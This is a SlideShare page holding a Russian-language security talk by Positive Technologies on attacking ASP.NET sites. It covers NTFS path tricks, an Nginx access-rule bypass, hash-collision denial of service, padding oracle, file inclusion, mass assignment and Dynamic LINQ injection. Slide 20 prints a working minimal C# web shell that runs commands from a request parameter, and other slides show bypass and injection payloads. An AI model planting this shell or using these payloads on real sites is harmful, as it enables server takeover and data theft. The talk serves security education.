Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET?СЛОЖНО, НО МОЖНО!                    Positive Technologies
Хорошо забытое старое: файловая система  Устройства DOS и зарезервированные имена:      NUL:, CON:, AUX:, PRN:, COM[1-9]:,...
Хорошо забытое старое: файловая система  Именованные каналы и почтовые слоты (CreateFile):      Hostpipe<name> , Hostmails...
Хорошо забытое старое: файловая система  Метатрибуты и альтернативные потоки данных NTFS:      Directory:<Name>:<Type>File...
[PT-2012-06] Обход ограничений Nginx  Рейтинг опасности:              Средний (5.0)                                  (AV:N...
[PT-2012-06] Обход ограничений Nginx                                  http://hostname/.svn/entries                        ...
Архитектура платформы .NET
Повреждения памяти  Взаимодействие с native-библиотеками, использование смешанных  сборок      MS12-025, апрель 2012: - вы...
«Turkish I» и не только  Сравнение строк без учета текущей культуры, может привести к  непредвиденным последствиям:  Англи...
Коллизии хэшей объектов  System.Object.GetHashCode() - возвращает 32-разрядный хэш-код объекта  (принимает значения от -21...
Коллизии хэшей в ASP.NET (MS11-100)    Штатная ситуация:                                 Не очень штатная ситуация:     3Q...
Хитрый план (post-mortem MS11-100)   1. Рассчитываем 1000 строк с      коллизиями на каждую      комбинацию «версия      ....
Web-стек .NET
ASP.NET / MVC
Специфика ASP.NET  Специальные каталоги и файлы:  -   App_Browser – определения браузеров      (*.browsers);  -   App_Code...
Специфика ASP.NET  Стандартные HTTP-обработчики:  -   WebResource.axd – доступ к статическим ресурсам, внедренным в сборки...
Padding oracle (MS10-070)  Последствия:  – получение ключей, необходимых для шифрования/дешифрования:        аутентификац...
Специфика ASP.NET  Стандартные HTTP-обработчики:  -   Trace.axd – трассировка запросов (доступна только в режиме отладки)
Особенности эксплуатации LFI  Response.WriteFile(<vfilename>)  -   позволяет включать любой файл внутри каталога приложени...
Минимальный C#-шелл     <%@ Page Language="C#" %>     <%@ Import Namespace="System.Diagnostics" %>     <%=     Process.Sta...
Состояние представления (ViewState)  Предназначено для передачи на  сервер информации об элементах  представления.  -   пе...
Подтверждение запросов и событий  Request Validation – встроенный примитивный WAF, направленный на  предотвращение атак XS...
Mass assignmentModel:                       Controller:public class User            public class UserController : Controll...
Mass assignment            (http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)
Внедрение выражений LINQ  LINQ – язык запросов, встроенный в синтаксис .NET-языков. var result = from item in itemsList   ...
Внедрение выражений LINQ  Dynamic LINQ – одна из нескольких существующих библиотек для  формирования динамических LINQ-зап...
Внедрение выражений LINQ  Ограничения инъекций в Dynamic LINQ:  -   доступ к полям, свойствам и методам возможен только дл...
Внедрение выражений LINQ                   Демо
Спасибо за внимание!     Вопросы?
Upcoming SlideShare
Loading in …5
×

Взломать сайт на ASP.NET

9,806 views

Published on

Взломать Web-сайт на ASP.NET? Сложно, но можно! Владимир Кочетков

Published in: Technology
  • Be the first to comment

Взломать сайт на ASP.NET

  1. 1. ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET?СЛОЖНО, НО МОЖНО! Positive Technologies
  2. 2. Хорошо забытое старое: файловая система Устройства DOS и зарезервированные имена: NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - двоеточие необязательно, имена могут использоваться внутри пути Зарезервированные символы: < > : " / | ? * Регистронезависимость имен: Filename == FileName == filename == FILENAME Поддержка коротких имен «8.3»: LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT Завершающие символы: Filename == Filename... == Filename
  3. 3. Хорошо забытое старое: файловая система Именованные каналы и почтовые слоты (CreateFile): Hostpipe<name> , Hostmailslot<name> Альтернативный синтаксис относительных путей: C:Windowsnotepad.exe == C:notepad.exe , если Windows – текущий каталог диска C: Подстановки (FindFirstFile): < == * , > == ? , " == . UNC и Unicode пути: C:WindowsSystem32 HostC$WindowsSystem32 .C:WindowsSystem32 ?C:WindowsSystem32 ?UNCHostC$WindowsSystem32
  4. 4. Хорошо забытое старое: файловая система Метатрибуты и альтернативные потоки данных NTFS: Directory:<Name>:<Type>File:<Name>:<Type> Метатрибуты файлов Метатрибуты индексов $STANDARD_INFORMATION $INDEX_ROOT $FILE_NAME $INDEX_ALLOCATION $DATA $BITMAP $ATTRIBUTE_LIST $OBJECT_ID $REPARSE_POINT C:Windowshh.exe == C:Windows:$I30:$INDEX_ALLOCATIONhh.exe C:Windowsnotepad.exe == C:Windowsnotepad.exe::$DATA FileName.aspx == FileName.aspx:.jpg
  5. 5. [PT-2012-06] Обход ограничений Nginx Рейтинг опасности: Средний (5.0) (AV:N/AC:L/Au:N/C:P/I:N/A:N) Подверженные версии: Nginx for Windows <= v1.3 Вектор: Удаленный Ошибка позволяла злоумышленнику направлять HTTP-запросы к некоторым URL-адресам в обход правил, определенных в директивах ‘Location’ конфигурации веб-сервера. Эксплуатируя уязвимость, потенциальный хакер мог получить доступ к исходному коду веб-приложения и закрытым разделам сайта, обнаружить новые уязвимости, украсть пароли подключения к базе данных и прочим сервисам и т.д. :$I30:$INDEX_ALLOCATION обрабатывались, как часть имени каталога.
  6. 6. [PT-2012-06] Обход ограничений Nginx http://hostname/.svn/entries HTTP/1.1 403 Forbidden Server: nginx/1.2.0 … location ~/.svn/ { deny all; } … HTTP/1.1 200 OK Server: nginx/1.2.0 http://hostname/.svn::$INDEX_ALLOCATION/entries * стабильная версия nginx-1.2.0 for Windows, выпущена 2012-04-23
  7. 7. Архитектура платформы .NET
  8. 8. Повреждения памяти Взаимодействие с native-библиотеками, использование смешанных сборок MS12-025, апрель 2012: - выполнение произвольного кода за пределами исполняющей среды через переполнение целого и повреждение кучи в gdiplus.dll при вызове конструктора класса System.Drawing.Imaging.EncoderParameter. Небезопасный управляемый код unsafe void bufferOverflow(string s) { char* ptr = stackalloc char[10]; foreach (var c in s) { *ptr++ = c } }
  9. 9. «Turkish I» и не только Сравнение строк без учета текущей культуры, может привести к непредвиденным последствиям: Английские культуры: I&i Турецкие культуры: I&ı+İ&i <%@ Page Language="C#" Culture="Auto" %> <%@ Import Namespace="System.Globalization" %> <! DOCTYPE html> … <script runat="server"> … if (Session["mode"].ToLower() != "admin") … if (String.Compare(Request["path"]), 0, "FILE:", 0, 5, true) …
  10. 10. Коллизии хэшей объектов System.Object.GetHashCode() - возвращает 32-разрядный хэш-код объекта (принимает значения от -2147483648 до 2147483647). (http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
  11. 11. Коллизии хэшей в ASP.NET (MS11-100) Штатная ситуация: Не очень штатная ситуация: 3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&F X4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=& DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=& LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JR YRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=& MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E= =&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE … over 4Mb form data … (https://github.com/HybrisDisaster/aspHashDoS)
  12. 12. Хитрый план (post-mortem MS11-100) 1. Рассчитываем 1000 строк с коллизиями на каждую комбинацию «версия .NET»/«аппаратная платформа» 2. Отправляем каждый из наборов в качестве параметров POST-запроса 3. Замеряем время ответа на каждый запрос 4. ??? 5. ;)
  13. 13. Web-стек .NET
  14. 14. ASP.NET / MVC
  15. 15. Специфика ASP.NET Специальные каталоги и файлы: - App_Browser – определения браузеров (*.browsers); - App_Code – исходный код вспомогательных классов и логики; - App_Data – хранилища данных; - App_GlobalResources, App_LocalResources – ресурсы приложения (*.resx, *.resources); - App_Themes – темы (*.skin, *.css, images, etc); - App_WebReferences – ссылки на web-сервисы (*.wsdl, *.xsd, *.disco, *.discomap); - Bin – скомпилированные сборки, используемые приложением; - web.config, web.*.config – конфигурационные файлы, определяющие настройки web-сервера и приложения.
  16. 16. Специфика ASP.NET Стандартные HTTP-обработчики: - WebResource.axd – доступ к статическим ресурсам, внедренным в сборки приложения. - ScriptResource.axd – доступ к скриптам js, внедренным в сборки или хранящимся на диске. Использование: http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp> Пример: http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP 8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3- kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1 Где d, зашифрованный параметр: Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3 8a3a9b
  17. 17. Padding oracle (MS10-070) Последствия: – получение ключей, необходимых для шифрования/дешифрования:  аутентификационных cookies;  ViewState и Event Validation;  аргументов для WebRecource.axd и ScriptResource.axd => чтение произвольных файлов внутри каталога приложения Исправления:  при ошибке паддинга возвращается обощенная ошибка;  используется случайное число в качестве IV;  изменен формат шифруемых строк для их валидации;  ScriptResource.axd может обрабатывать только *.js файлы.
  18. 18. Специфика ASP.NET Стандартные HTTP-обработчики: - Trace.axd – трассировка запросов (доступна только в режиме отладки)
  19. 19. Особенности эксплуатации LFI Response.WriteFile(<vfilename>) - позволяет включать любой файл внутри каталога приложения, кроме *.config; - файл включается статически, выполнения кода не происходит; - принимает в качестве аргумента виртуальное имя файла. Server.Execute(<vfilename>) - позволяет включать любой файл внутри каталога приложения, кроме *.config; - выполняет обработчик для переданного файла, результат включает в ответ; - принимает в качестве аргумента виртуальное имя файла. File.ReadAllText(<filename>) - позволяет включать любой файл, на который есть права; - файл включается статически, выполнения кода не происходит; - принимает в качестве аргумента реальное имя файла.
  20. 20. Минимальный C#-шелл <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%= Process.Start( new ProcessStartInfo( "cmd","/c " + Request["c"] ) { UseShellExecute = false, RedirectStandardOutput = true } ).StandardOutput.ReadToEnd() %>
  21. 21. Состояние представления (ViewState) Предназначено для передачи на сервер информации об элементах представления. - передается в параметре __VIEWSTATE; - шифрование и целостность часто не обеспечиваются; - используется разработчиками, для хранения данных сессии на клиенте, хотя не предназначено для этого; - нарушение его целостности может привести к реализации самых разнообразных угроз от XSS до нарушения функциональности приложения.
  22. 22. Подтверждение запросов и событий Request Validation – встроенный примитивный WAF, направленный на предотвращение атак XSS. Блокируются все запросы, содержащие: &# < с последующей буквой, !, / и ? А также, игнорируются сторонние параметры, начинающиеся с __ Event Validation – встроенный механизм валидации данных событий. Представляет собой параметр __EVENTVALIDATION, хранящий хэши допустимых значений элементов форм, событий, ViewState и т.п. Вопреки бытующему мнению, неэффективен против CSRF-атак, при стандартной реализации.
  23. 23. Mass assignmentModel: Controller:public class User public class UserController : Controller{ { public int Id IUserRepository _userRepository; { get; set; } public UserController(IUserRepository userRepository) { public string UserName _userRepository = userRepository; { get; set; } } public string Password { get; set; } public ActionResult Edit(int id) { public bool IsAdmin var user = _userRepository.GetUserById(id); { get; set; } return View(user);} } [HttpPost] public ActionResult Edit(int id, FormCollection collection) { try { var user = _userRepository.GetUserById(id); UpdateModel(user); _userRepository.SaveUser(user); return RedirectToAction("Index"); } catch { return View(); } } }
  24. 24. Mass assignment (http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)
  25. 25. Внедрение выражений LINQ LINQ – язык запросов, встроенный в синтаксис .NET-языков. var result = from item in itemsList where item.field1 % 2 == 0 orderby item.field2 descending select new { item.field2, item.field3 }; Expression.Lambda<Predicate<int>>( Expression.Equal( Expression.Modulo( parameterN, Expression.Constant(2) ), Expression.Constant(0) ), parameterN); var result = itemsList .Where(x => x.field1 % 2 == 0) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);
  26. 26. Внедрение выражений LINQ Dynamic LINQ – одна из нескольких существующих библиотек для формирования динамических LINQ-запросов времени исполнения. Возможности: - определение выражений строками; var modifier = "0"; - основные примитивные операции; var result = itemsList - доступ к членам статических и .Where("field1 % 2 == " + modifier) экземплярных типов данных; .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2); - создание экземпляров типов и анонимных типов; Что, если "modifier" формируется из входных данных и содержит: 0 OR 1 == 1 ?
  27. 27. Внедрение выражений LINQ Ограничения инъекций в Dynamic LINQ: - доступ к полям, свойствам и методам возможен только для типа коллекции или для достижимых типов, определяемых «белым списком»; - все части выражения должны выполняться без ошибок, в сообщениях об ошибках отсутствует полезный вывод; - инъекции подвержены изолированные части запроса; Возможности инъекций в Dynamic LINQ: - обход аутентификации / авторизации; - неавторизованный доступ к данным коллекции; - нарушение функционала (при наличии у объектов коллекции statefull- полей); - реализация угрозы отказа в обслуживании (DoS). В других решениях возможна реализация угрозы удаленного выполнения кода (RCE)
  28. 28. Внедрение выражений LINQ Демо
  29. 29. Спасибо за внимание! Вопросы?

×